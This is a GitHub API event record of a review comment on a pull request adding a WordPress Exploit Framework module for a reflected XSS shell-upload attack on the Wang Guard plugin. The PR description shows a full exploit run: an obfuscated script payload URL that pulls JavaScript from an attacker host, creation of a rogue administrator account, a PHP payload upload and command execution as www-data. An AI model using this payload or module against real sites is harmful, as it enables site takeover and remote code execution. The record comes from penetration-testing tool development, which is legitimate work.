{"action":"created","comment":{"url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls/comments/97140972","pull_request_review_id":17749305,"id":97140972,"diff_hunk":"@@ -0,0 +1,31 @@\n+class Wpxf::Exploit::WangGuardReflectedXssShellUpload < Wpxf::Module\n+  include Wpxf::WordPress::ReflectedXss\n+\n+  def initialize\n+    super\n+\n+    update_info(\n+      name: 'Wang Guard <= 1.7.2 Reflected XSS Shell Upload',\n+      author: [\n+        'Paul Williams <phyushin[at]phyubox.com>' # WPXF module\n+      ],\n+      references: [\n+        ['WPVDB', '8725'],\n+        ['URL', 'https://www.pluginvulnerabilities.com/2017/01/17/reflected-cross-site-scripting-xss-vulnerability-in-wangguard/']\n+      ],\n+      date: 'Jan 17 2017'\n+    )\n+  end\n+\n+  def check\n+    check_plugin_version_from_readme('wangguard', '1.7.3')\n+  end\n+\n+  def vulnerable_url\n+    normalize_uri(wordpress_url_admin, 'admin.php?page=wangguard_users_info&userIP=')","path":"modules/exploits/wang_guard_reflected_xss_shell_upload.rb","position":25,"original_position":25,"commit_id":"a678f116868f76cc0ee287768c1463f55a8fa388","original_commit_id":"a678f116868f76cc0ee287768c1463f55a8fa388","user":{"login":"phyushin","id":2320232,"avatar_url":"https://avatars.githubusercontent.com/u/2320232?v=3","gravatar_id":"","url":"https://api.github.com/users/phyushin","html_url":"https://github.com/phyushin","followers_url":"https://api.github.com/users/phyushin/followers","following_url":"https://api.github.com/users/phyushin/following{/other_user}","gists_url":"https://api.github.com/users/phyushin/gists{/gist_id}","starred_url":"https://api.github.com/users/phyushin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/phyushin/subscriptions","organizations_url":"https://api.github.com/users/phyushin/orgs","repos_url":"https://api.github.com/users/phyushin/repos","events_url":"https://api.github.com/users/phyushin/events{/privacy}","received_events_url":"https://api.github.com/users/phyushin/received_events","type":"User","site_admin":false},"body":"no worries ... will retest then push ","created_at":"2017-01-20T19:43:31Z","updated_at":"2017-01-20T19:43:31Z","html_url":"https://github.com/rastating/wordpress-exploit-framework/pull/30#discussion_r97140972","pull_request_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls/30","_links":{"self":{"href":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls/comments/97140972"},"html":{"href":"https://github.com/rastating/wordpress-exploit-framework/pull/30#discussion_r97140972"},"pull_request":{"href":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls/30"}}},"pull_request":{"url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls/30","id":102517898,"html_url":"https://github.com/rastating/wordpress-exploit-framework/pull/30","diff_url":"https://github.com/rastating/wordpress-exploit-framework/pull/30.diff","patch_url":"https://github.com/rastating/wordpress-exploit-framework/pull/30.patch","issue_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/issues/30","number":30,"state":"open","locked":false,"title":"Add \"wang guard\" reflected xss shell upload module","user":{"login":"phyushin","id":2320232,"avatar_url":"https://avatars.githubusercontent.com/u/2320232?v=3","gravatar_id":"","url":"https://api.github.com/users/phyushin","html_url":"https://github.com/phyushin","followers_url":"https://api.github.com/users/phyushin/followers","following_url":"https://api.github.com/users/phyushin/following{/other_user}","gists_url":"https://api.github.com/users/phyushin/gists{/gist_id}","starred_url":"https://api.github.com/users/phyushin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/phyushin/subscriptions","organizations_url":"https://api.github.com/users/phyushin/orgs","repos_url":"https://api.github.com/users/phyushin/repos","events_url":"https://api.github.com/users/phyushin/events{/privacy}","received_events_url":"https://api.github.com/users/phyushin/received_events","type":"User","site_admin":false},"body":"This module exploits the \"_Wang Guard_\" WordPress plugin; the plugin can be downloaded from the following URL:\r\nhttps://wordpress.org/plugins/wangguard/\r\n\r\n**Fixed in** : 1.7.3\r\n\r\n**References:**\r\n\r\n- WPVDBID :  [8725](https://wpvulndb.com/vulnerabilities/8725)\r\n\r\n- Disclosure : https://www.pluginvulnerabilities.com/2017/01/17/reflected-cross-site-scripting-xss-vulnerability-in-wangguard/\r\n\r\n_**example output:**_\r\n```\r\nwpxf > use exploit/wang_guard_reflected_xss_shell_upload \r\n\r\n  [+] Loaded module: #<Wpxf::Exploit::WangGuardReflectedXssShellUpload:0x000000025da230>\r\n\r\nwpxf [exploit/wang_guard_reflected_xss_shell_upload] > set host 192.168.0.27\r\n\r\n  [+] Set host => 192.168.0.27\r\n\r\nwpxf [exploit/wang_guard_reflected_xss_shell_upload] > set xss_host 192.168.0.20\r\n\r\n  [+] Set xss_host => 192.168.0.20\r\n\r\nwpxf [exploit/wang_guard_reflected_xss_shell_upload] > set payload exec\r\n\r\n  [+] Loaded payload: #<Wpxf::Payloads::Exec:0x000000029a3470>\r\n\r\nwpxf [exploit/wang_guard_reflected_xss_shell_upload] > set cmd whoami\r\n\r\n  [+] Set cmd => whoami\r\n\r\nwpxf [exploit/wang_guard_reflected_xss_shell_upload] > set http_server_bind_port 8080\r\n\r\n  [+] Set http_server_bind_port => 8080\r\n\r\nwpxf [exploit/wang_guard_reflected_xss_shell_upload] > check\r\n\r\n  [!] Target appears to be vulnerable\r\n\r\nwpxf [exploit/wang_guard_reflected_xss_shell_upload] > run\r\n\r\n  [-] Provide the URL below to the victim to begin the payload upload\r\n\r\nhttp://192.168.0.27/wp-admin/admin.php?page=wangguard_users_info&userIP=%3Cscript%3Eeval(String.fromCharCode(101,118,97,108,40,100,101,99,111,100,101,85,82,73,67,111,109,112,111,110,101,110,116,40,47,118,97,114,37,50,48,97,37,50,48,37,51,68,37,50,48,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,37,50,56,37,50,50,115,99,114,105,112,116,37,50,50,37,50,57,37,51,66,97,46,115,101,116,65,116,116,114,105,98,117,116,101,37,50,56,37,50,50,115,114,99,37,50,50,37,50,67,37,50,48,37,50,50,104,116,116,112,37,51,65,37,50,70,37,50,70,49,57,50,46,49,54,56,46,48,46,50,48,37,51,65,56,48,56,48,37,50,70,77,86,79,77,109,106,88,75,37,50,50,37,50,57,37,51,66,100,111,99,117,109,101,110,116,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,37,50,56,97,37,50,57,37,51,66,47,46,115,111,117,114,99,101,41,41))%3C%2Fscript%3E%3C\r\n\r\n  [-] Started HTTP server on 0.0.0.0:8080\r\n  [-] Incoming request received, serving JavaScript...\r\n  [+] Created a new administrator user, NSmEGs:SUgRuqaMLt\r\n  [-] HTTP server stopped\r\n  [-] Authenticating with WordPress using NSmEGs:SUgRuqaMLt...\r\n  [-] Uploading payload...\r\n  [-] Executing the payload at\r\n      http://192.168.0.27/wp-content/plugins/nQTYgAukGE/eghhALlKVD.php...\r\n  [+] Result: www-data\r\n  [+] Execution finished successfully\r\n\r\nwpxf [exploit/wang_guard_reflected_xss_shell_upload] > \r\n```","created_at":"2017-01-20T19:06:19Z","updated_at":"2017-01-20T19:43:31Z","closed_at":null,"merged_at":null,"merge_commit_sha":"8ab19f0a0bac46ec73a35233c7872854f9129244","assignee":null,"assignees":[],"milestone":null,"commits_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls/30/commits","review_comments_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls/30/comments","review_comment_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/issues/30/comments","statuses_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/statuses/a678f116868f76cc0ee287768c1463f55a8fa388","head":{"label":"phyushin:wang_guard_reflected_xss","ref":"wang_guard_reflected_xss","sha":"a678f116868f76cc0ee287768c1463f55a8fa388","user":{"login":"phyushin","id":2320232,"avatar_url":"https://avatars.githubusercontent.com/u/2320232?v=3","gravatar_id":"","url":"https://api.github.com/users/phyushin","html_url":"https://github.com/phyushin","followers_url":"https://api.github.com/users/phyushin/followers","following_url":"https://api.github.com/users/phyushin/following{/other_user}","gists_url":"https://api.github.com/users/phyushin/gists{/gist_id}","starred_url":"https://api.github.com/users/phyushin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/phyushin/subscriptions","organizations_url":"https://api.github.com/users/phyushin/orgs","repos_url":"https://api.github.com/users/phyushin/repos","events_url":"https://api.github.com/users/phyushin/events{/privacy}","received_events_url":"https://api.github.com/users/phyushin/received_events","type":"User","site_admin":false},"repo":{"id":79163356,"name":"wordpress-exploit-framework","full_name":"phyushin/wordpress-exploit-framework","owner":{"login":"phyushin","id":2320232,"avatar_url":"https://avatars.githubusercontent.com/u/2320232?v=3","gravatar_id":"","url":"https://api.github.com/users/phyushin","html_url":"https://github.com/phyushin","followers_url":"https://api.github.com/users/phyushin/followers","following_url":"https://api.github.com/users/phyushin/following{/other_user}","gists_url":"https://api.github.com/users/phyushin/gists{/gist_id}","starred_url":"https://api.github.com/users/phyushin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/phyushin/subscriptions","organizations_url":"https://api.github.com/users/phyushin/orgs","repos_url":"https://api.github.com/users/phyushin/repos","events_url":"https://api.github.com/users/phyushin/events{/privacy}","received_events_url":"https://api.github.com/users/phyushin/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/phyushin/wordpress-exploit-framework","description":"A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.","fork":true,"url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework","forks_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/forks","keys_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/teams","hooks_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/hooks","issue_events_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/events","assignees_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/tags","blobs_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/languages","stargazers_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/stargazers","contributors_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/contributors","subscribers_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/subscribers","subscription_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/subscription","commits_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/merges","archive_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/downloads","issues_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/phyushin/wordpress-exploit-framework/deployments","created_at":"2017-01-16T21:58:48Z","updated_at":"2017-01-16T21:58:51Z","pushed_at":"2017-01-20T18:56:09Z","git_url":"git://github.com/phyushin/wordpress-exploit-framework.git","ssh_url":"git@github.com:phyushin/wordpress-exploit-framework.git","clone_url":"https://github.com/phyushin/wordpress-exploit-framework.git","svn_url":"https://github.com/phyushin/wordpress-exploit-framework","homepage":"http://www.getwpxf.com/","size":1767,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rastating:development","ref":"development","sha":"a7f6b4ff0324757acb38e38c49c4a7ce3cc30a31","user":{"login":"rastating","id":2500434,"avatar_url":"https://avatars.githubusercontent.com/u/2500434?v=3","gravatar_id":"","url":"https://api.github.com/users/rastating","html_url":"https://github.com/rastating","followers_url":"https://api.github.com/users/rastating/followers","following_url":"https://api.github.com/users/rastating/following{/other_user}","gists_url":"https://api.github.com/users/rastating/gists{/gist_id}","starred_url":"https://api.github.com/users/rastating/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rastating/subscriptions","organizations_url":"https://api.github.com/users/rastating/orgs","repos_url":"https://api.github.com/users/rastating/repos","events_url":"https://api.github.com/users/rastating/events{/privacy}","received_events_url":"https://api.github.com/users/rastating/received_events","type":"User","site_admin":false},"repo":{"id":47001236,"name":"wordpress-exploit-framework","full_name":"rastating/wordpress-exploit-framework","owner":{"login":"rastating","id":2500434,"avatar_url":"https://avatars.githubusercontent.com/u/2500434?v=3","gravatar_id":"","url":"https://api.github.com/users/rastating","html_url":"https://github.com/rastating","followers_url":"https://api.github.com/users/rastating/followers","following_url":"https://api.github.com/users/rastating/following{/other_user}","gists_url":"https://api.github.com/users/rastating/gists{/gist_id}","starred_url":"https://api.github.com/users/rastating/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rastating/subscriptions","organizations_url":"https://api.github.com/users/rastating/orgs","repos_url":"https://api.github.com/users/rastating/repos","events_url":"https://api.github.com/users/rastating/events{/privacy}","received_events_url":"https://api.github.com/users/rastating/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/rastating/wordpress-exploit-framework","description":"A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.","fork":false,"url":"https://api.github.com/repos/rastating/wordpress-exploit-framework","forks_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/forks","keys_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/teams","hooks_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/events","assignees_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/tags","blobs_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/languages","stargazers_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/subscription","commits_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/merges","archive_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/downloads","issues_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rastating/wordpress-exploit-framework/deployments","created_at":"2015-11-27T22:13:52Z","updated_at":"2017-01-19T01:54:56Z","pushed_at":"2017-01-20T19:06:20Z","git_url":"git://github.com/rastating/wordpress-exploit-framework.git","ssh_url":"git@github.com:rastating/wordpress-exploit-framework.git","clone_url":"https://github.com/rastating/wordpress-exploit-framework.git","svn_url":"https://github.com/rastating/wordpress-exploit-framework","homepage":"http://www.getwpxf.com/","size":1771,"stargazers_count":137,"watchers_count":137,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":49,"mirror_url":null,"open_issues_count":1,"forks":49,"open_issues":1,"watchers":137,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls/30"},"html":{"href":"https://github.com/rastating/wordpress-exploit-framework/pull/30"},"issue":{"href":"https://api.github.com/repos/rastating/wordpress-exploit-framework/issues/30"},"comments":{"href":"https://api.github.com/repos/rastating/wordpress-exploit-framework/issues/30/comments"},"review_comments":{"href":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls/30/comments"},"review_comment":{"href":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rastating/wordpress-exploit-framework/pulls/30/commits"},"statuses":{"href":"https://api.github.com/repos/rastating/wordpress-exploit-framework/statuses/a678f116868f76cc0ee287768c1463f55a8fa388"}}}}
{"actor":{"display_login":"phyushin"}}